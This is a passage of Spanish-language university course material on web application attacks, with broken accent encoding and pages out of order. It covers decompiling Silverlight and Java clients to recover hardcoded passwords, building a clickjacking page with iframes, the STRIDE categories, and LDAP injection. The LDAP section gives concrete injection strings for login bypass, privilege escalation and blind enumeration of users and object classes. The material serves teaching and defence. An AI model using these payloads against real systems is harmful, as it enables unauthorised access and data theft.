tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
